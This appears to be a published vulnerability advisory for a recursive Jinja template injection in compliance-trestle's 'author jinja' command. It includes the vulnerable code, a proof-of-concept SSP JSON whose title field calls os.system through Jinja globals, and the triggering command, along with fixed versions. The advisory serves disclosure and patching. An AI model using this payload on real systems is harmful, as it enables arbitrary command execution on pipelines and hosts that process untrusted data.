Advisory

PYSEC-2026-2425

Also known as: CVE-2026-46439, GHSA-gg2g-p7xc-qqmm

Summary

compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)

Details

A High severity Server-Side Template Injection (SSTI) vulnerability exists in the trestle author jinja command. The command recursively evaluates rendered templates, allowing an attacker to achieve arbitrary command execution with privileges of the running process by injecting malicious payloads into data fields (such as SSP documents or Lookup Tables).

The vulnerability does not require attacker control of the template itself. Only attacker-controlled input data rendered into a trusted template is required.

This distinction is critical: the template author may only intend to render plain text (e.g., Title: {{ ssp.metadata.title }}), but because of the recursive parsing, the data field itself becomes executable.

The vulnerability is caused by recursive re-compilation and re-rendering of already-rendered output.

Details
In trestle/core/commands/author/jinja.py, the render_template method performs recursive template evaluation to allow nesting within expressions:

    @staticmethod
    def render_template(template: Template, lut: Dict[str, Any], template_folder: pathlib.Path) -> str:
        new_output = template.render(**lut)
        output = ''
        error_countdown = JinjaCmd.max_recursion_depth
        while new_output != output and error_countdown > 0:
            error_countdown = error_countdown - 1
            output = new_output
            random_name = uuid.uuid4()
            dict_loader = DictLoader({str(random_name): new_output})
            # jinja_env does not use SandboxedEnvironment
            jinja_env = Environment(
                loader=ChoiceLoader([dict_loader, FileSystemLoader(template_folder)]),
                extensions=extensions(),
                autoescape=True,
                trim_blocks=True
            )
            template = jinja_env.get_template(str(random_name))
            new_output = template.render(**lut)
        return output

When a fully trusted and static template resolves a variable from an attacker-controlled data source, the attacker's string is injected into the output. During the next pass of the while loop, this output is loaded into a new Environment via DictLoader and rendered again. Because jinja_env does not use SandboxedEnvironment, attacker-controlled template expressions embedded in data fields are re-evaluated as executable Jinja templates during recursive rendering.

PoC (Proof of Concept)
The vulnerability survives even when the template itself is fully trusted and static.
Tested on Jinja2 version 3.1.6.

  1. Create a fully trusted template (template.j2) that simply renders a data variable from an external SSP model:
Title: {{ ssp.metadata.title }}
  1. Generate a malicious OSCAL SSP document (system-security-plans/malicious_ssp/system-security-plan.json) where the title field contains a Jinja execution payload. This demonstrates how data becomes code execution:
{
  "system-security-plan": {
    "uuid": "208dbe11-e6e2-411a-af18-095cd17a6a70",
    "metadata": {
      "title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
      "last-modified": "2024-01-01T00:00:00+00:00",
      "version": "1.0",
      "oscal-version": "1.0.4"
    },
    "import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
  }
}
  1. Execute the trestle author jinja command against the malicious data:
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp

*(Note: A similar payload injected via the -lut yaml argument yields identical results.)*

  1. Verify arbitrary command execution:
ls poc.txt
# The file poc.txt is successfully created on the filesystem.

An attacker can also execute arbitrary shell commands directly, e.g.:

      "title": "{{ namespace.__init__.__globals__.os.system('id') }}",

Impact
This vulnerability allows arbitrary command execution with the privileges of the running process. If compliance-trestle is used in an automated pipeline (such as CI/CD workflows generating documentation from third-party vendor-supplied SSPs), a malicious payload embedded in a data field (like a system title or description) will result in a compromised runner environment. The user/operator must process the attacker-controlled SSP or LUT, satisfying the user interaction metric.

Severity

High Basis: CVSS v3 score 7.8, vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Dates

Published
2026-07-13 15:19 UTC
Modified
2026-07-13 16:32 UTC

Affected packages and fixes

compliance-trestle

PyPI · All systems

Affected

  • introduced 0, fixed 3.12.2, introduced 4.0.0, fixed 4.0.3 (ecosystem)

Fixed versions

3.12.2, 4.0.3

Fix

  • Fixed version 3.12.2
    pip install --upgrade compliance-trestle==3.12.2
  • Fixed version 4.0.3
    pip install --upgrade compliance-trestle==4.0.3

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences